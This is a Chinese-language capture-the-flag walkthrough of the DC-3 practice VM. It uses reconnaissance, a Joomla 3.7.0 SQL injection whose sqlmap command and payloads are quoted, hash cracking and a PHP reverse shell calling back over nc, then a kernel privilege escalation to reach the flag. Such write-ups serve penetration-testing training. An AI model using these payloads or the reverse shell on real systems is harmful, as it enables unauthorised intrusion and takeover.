0%

Walkthrough for DC-03

Walkthrough for DC-03

1
2
3
4
5
6
7
8
9
10
11
12
13
Description

DC-3 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

As with the previous DC releases, this one is designed with beginners in mind, although this time around, there is only one flag, one entry point and no clues at all.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

For those with experience doing CTF and Boot2Root challenges, this probably won't take you long at all (in fact, it could take you less than 20 minutes easily).

If that's the case, and if you want it to be a bit more of a challenge, you can always redo the challenge and explore other ways of gaining root and obtaining the flag.

信息收集

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Nmap scan report for 192.168.21.161
Host is up (0.00053s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home
MAC Address: 00:0C:29:C9:9C:BD (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 0.53 ms 192.168.21.161

获取到以下信息:

  • 靶机80端口开放http服务,使用了Joomla CMS

AWVS扫描

image-20210426154257943

确定了Joomla的版本为3.7.0。

image-20210426155138629

/administrator/component/media/templates目录存在目录遍历。

image-20210426155409015

发现了疑似管理员登陆的页面/administrator

JoomScan

image-20210426161224727

没有发现什么特别的东西。

Joomla管理员权限获取

访问Joomla首页。

世界线一

burp抓包发现明文密码传输,尝试爆破密码。

image-20210426164845316

image-20210426205738395

爆出来了管理员密码。

世界线二

在metasploit中搜索joomla 3.7.0的利用方式。

image-20210426204739616

搜到了一个SQL注入和一个XSS,尝试利用SQL注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917


URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27


Using Sqlmap:

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]


Parameter: list[fullordering] (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (DUAL)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)

Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)

使用给出的payload使用nmap进行注入。

image-20210426205927469

image-20210426210018430

image-20210426210230719

image-20210426210316849

拿到了使用bcrypt加密的密码,使用Hashcat爆破。

Bcrypt加密算法

img

  1. Rounds: 正数,代表hash杂凑次数,数值越高越安全,默认10次。
  2. Salt: 盐,一个128bits随机字符串,22字符
  3. Hash: 经过明文密码password和盐salt进行hash,个人的理解是默认10次下 ,循环加盐hash10次,得到Hash

image-20210426210905268

获取shell

进入网站后台,学习了一下joomla的页面管理。个人理解joomla的页面显示依托于template,真正的网页源代码保存在/administrator/templates/[template name]目录下。

在后台中进入Templates -> Templates -> Beez3 Details and Files页面,上传一个反弹shell。

1
2
3
<?php
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.21.158 5555 >/tmp/f');
?>

在linux上使用nc -nlvp 5555接收回传数据。

这里也可以上传一句话shell,用蚁剑连接进行终端模拟。

提权

上传了Linux_Exploit_Suggester脚本,没有爆出来可利用的漏洞。

也没有找到可以利用的SUID,也没有配置不当的sudo权限。

在metasploit中查找可利用的EXP。

compgen -u指令查看全部用户,发现了一个叫dc3的用户,尝试使用之前得到的密码snoopy进行登录,认证失败。

突然想起来一个场外因素,先前的靶机都是Debian系统,而这次使用了Ubuntu,或许有Ubuntu的CVE可用。在网上搜索了一下,Ubuntu 16.04有一个本地提权漏洞。在shell中使用lsb_release -auname -a命令查看系统版本和内核版本,发现Ubuntu 16.04 内核 4.4.0 正好满足漏洞发生条件。

image-20210426231218340

但是网上找到的EXP都跑不通,于是在metasploit中搜索,发现了相同的漏洞,使用metasploit中提供的EXP。

image-20210426232751089

通过python起一个http服务,在shell中通过curl将漏洞利用脚本下载到服务器上,编译运行。

image-20210426232326183

因为该漏洞利用是对内存的利用,当进行一次提权之后,被利用的内存位置中的数据就会发生改变,导致无法进行第二次提权。因此,服务器每次重启只能使用该方式进行一次提权,提权后应当尽快进行权限维持。

image-20210426232644658

/root目录下读取到flag。

-EOF-